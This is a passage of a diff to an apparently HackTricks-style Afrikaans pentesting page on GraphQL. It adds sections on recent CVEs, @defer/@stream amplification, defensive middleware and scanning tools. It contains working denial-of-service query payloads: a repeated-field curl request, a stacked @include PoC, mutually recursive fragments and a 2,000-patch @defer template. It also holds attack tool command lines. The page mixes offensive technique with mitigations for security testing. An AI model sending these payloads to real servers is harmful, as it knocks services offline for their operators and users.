\n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \ 'https://example.com/graphql' ``` +## Onlangse Kwetsbaarhede (2023-2025) + +> Die GraphQL-ekosisteem ontwikkel baie vinnig; gedurende die laaste twee jaar is verskeie kritieke probleme bekend gemaak in die mees gebruikte bedienerbiblioteke. Wanneer jy 'n GraphQL-eindpunt vind, is dit dus die moeite werd om die enjin te vingerafdruk (sien **graphw00f**) en die lopende weergawe teen die kwesbaarhede hieronder te kontroleer. + +### CVE-2024-47614 – `async-graphql` direkteur-oorgrootte DoS (Rust) +* Geaffekteer: async-graphql < **7.0.10** (Rust) +* Wortel oorsaak: geen limiet op **gedupliseerde direkteure** (bv. duisende `@include`) wat uitgebrei word in 'n eksponensiële aantal uitvoeringsknope. +* Impak: 'n enkele HTTP-versoek kan CPU/RAM uitput en die diens laat crash. +* Regstelling/mitigering: opgradeer ≥ 7.0.10 of bel `SchemaBuilder.limit_directives()`; alternatiewelik filter versoeke met 'n WAF-reël soos `"@include.*@include.*@include"`. +```graphql +# PoC – repeat @include X times +query overload { +__typename @include(if:true) @include(if:true) @include(if:true) +} +``` +### CVE-2024-40094 – `graphql-java` ENF diepte/kompleksiteit omseiling +* Aangeraak: graphql-java < 19.11, 20.0-20.8, 21.0-21.4 +* Wortel oorsaak: **ExecutableNormalizedFields** is nie in ag geneem deur `MaxQueryDepth` / `MaxQueryComplexity` instrumentasie nie. Rekursiewe fragmente het dus alle beperkings omseil. +* Impak: ongeverifieerde DoS teen Java stakke wat graphql-java inkorporeer (Spring Boot, Netflix DGS, Atlassian produkte…). +```graphql +fragment A on Query { ...B } +fragment B on Query { ...A } +query { ...A } +``` +### CVE-2023-23684 – WPGraphQL SSRF na RCE-ketting +* Geaffekteer: WPGraphQL ≤ 1.14.5 (WordPress-plugin). +* Oorsaak: die `createMediaItem` mutasie het aanvaller-beheerde **`filePath` URL's** aanvaar, wat interne netwerktoegang en lêer-skrywe moontlik gemaak het. +* Impak: geverifieerde Redakteurs/Skrywers kon metadata-eindpunte bereik of PHP-lêers skryf vir afstands kode-uitvoering. + +--- + +## Inkrementale aflewering misbruik: `@defer` / `@stream` +Sedert 2023 het die meeste groot bedieners (Apollo 4, GraphQL-Java 20+, HotChocolate 13) die **inkrementale aflewering** riglyne geïmplementeer soos gedefinieer deur die GraphQL-over-HTTP WG. Elke uitgestelde patch word as 'n **afsonderlike stuk** gestuur, sodat die totale responsgrootte *N + 1* (omslag + patches) word. 'n Navraag wat duisende klein uitgestelde velde bevat, produseer dus 'n groot respons terwyl dit die aanvaller slegs een versoek kos – 'n klassieke **amplifikasie DoS** en 'n manier om liggaam-grootte WAF-reëls te omseil wat slegs die eerste stuk ondersoek. WG-lede self het die risiko gemerk. + +Voorbeeld payload wat 2 000 patches genereer: +```graphql +query abuse { +% for i in range(0,2000): +f{{i}}: __typename @defer +% endfor +} +``` +Mitigering: deaktiveer `@defer/@stream` in produksie of afdwing `max_patches`, kumulatiewe `max_bytes` en uitvoeringstyd. Biblioteke soos **graphql-armor** (sien hieronder) afdwing reeds sinvolle standaardinstellings. + +--- + +## Verdedigende middleware (2024+) + +| Projek | Aantekeninge | +|---|---| +| **graphql-armor** | Node/TypeScript validasie middleware gepubliseer deur Escape Tech. Implementeer plug-and-play beperkings vir navraagdiepte, alias/veld/direktief tellings, tokens en koste; versoenbaar met Apollo Server, GraphQL Yoga/Envelop, Helix, ens. | + +Vinige begin: +```ts +import { protect } from '@escape.tech/graphql-armor'; +import { applyMiddleware } from 'graphql-middleware'; + +const protectedSchema = applyMiddleware(schema, ...protect()); +``` +`graphql-armor` sal nou oorbodig diep, kompleks of rigting-gewigde navrae blokkeer, wat beskerming bied teen die bogenoemde CVEs. + +--- + ## Gereedskap ### Kwetsbaarheid skandeerders - [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Toets algemene miskonfigurasies van graphql eindpunte -- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): GraphQL sekuriteitsoudit skrip met 'n fokus op die uitvoering van batch GraphQL vrae en mutasies. +- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): GraphQL sekuriteitsoudit skrip met 'n fokus op die uitvoering van batch GraphQL navrae en mutasies. - [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Vingerafdruk die graphql wat gebruik word -- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Gereedskap wat gebruik kan word om skemas te gryp en sensitiewe data te soek, toelaatbaarheid te toets, brute force skemas, en paaie na 'n gegewe tipe te vind. +- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Gereedskap wat gebruik kan word om skemas te gryp en sensitiewe data te soek, outorisering te toets, brute force skemas, en paaie na 'n gegewe tipe te vind. - [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Kan as 'n standalone gebruik word of [Burp uitbreiding](https://github.com/doyensec/inql). - [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Kan ook as 'n CLI kliënt gebruik word om aanvalle te outomatiseer: `python3 graphqlmap.py -u http://example.com/graphql --inject` - [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Gereedskap wat die verskillende maniere lys om **'n gegewe tipe in 'n GraphQL skema te bereik**. - [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Die opvolger van Standalone en CLI Modus van InQL -- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp uitbreiding of python skrip vir gevorderde GraphQL toetsing. Die _**Scanner**_ is die kern van InQL v5.0, waar jy 'n GraphQL eindpunt of 'n plaaslike introspeksie skema lêer kan analiseer. Dit genereer outomaties al moontlike vrae en mutasies, en organiseer dit in 'n gestruktureerde weergawe vir jou analise. Die _**Attacker**_ komponent laat jou toe om batch GraphQL aanvalle te voer, wat nuttig kan wees om swak geïmplementeerde koersbeperkings te omseil: `python3 inql.py -t http://example.com/graphql -o output.json` -- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Probeer om die skema te verkry selfs met introspeksie gedeaktiveer deur die hulp van sommige Graphql databasisse te gebruik wat die name van mutasies en parameters sal voorstel. +- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp uitbreiding of python skrip vir gevorderde GraphQL toetsing. Die _**Scanner**_ is die kern van InQL v5.0, waar jy 'n GraphQL eindpunt of 'n plaaslike introspeksie skema lêer kan analiseer. Dit genereer outomaties alle moontlike navrae en mutasies, en organiseer dit in 'n gestruktureerde weergawe vir jou analise. Die _**Attacker**_ komponent laat jou toe om batch GraphQL aanvalle te voer, wat nuttig kan wees om swak geïmplementeerde koerslimiete te omseil: `python3 inql.py -t http://example.com/graphql -o output.json` +- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Probeer om die skema te kry selfs met introspeksie gedeaktiveer deur die hulp van sommige Graphql databasisse te gebruik wat die name van mutasies en parameters sal voorstel. ### Skripte om algemene kwesbaarhede te benut @@ -587,5 +650,7 @@ https://graphql-dashboard.herokuapp.com/ - [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md) - [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) - [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql) +- [**https://github.com/advisories/GHSA-5gc2-7c65-8fq8**](https://github.com/advisories/GHSA-5gc2-7c65-8fq8) +- [**https://github.com/escape-tech/graphql-armor**](https://github.com/escape-tech/graphql-armor) {{#include ../../banners/hacktricks-training.md}}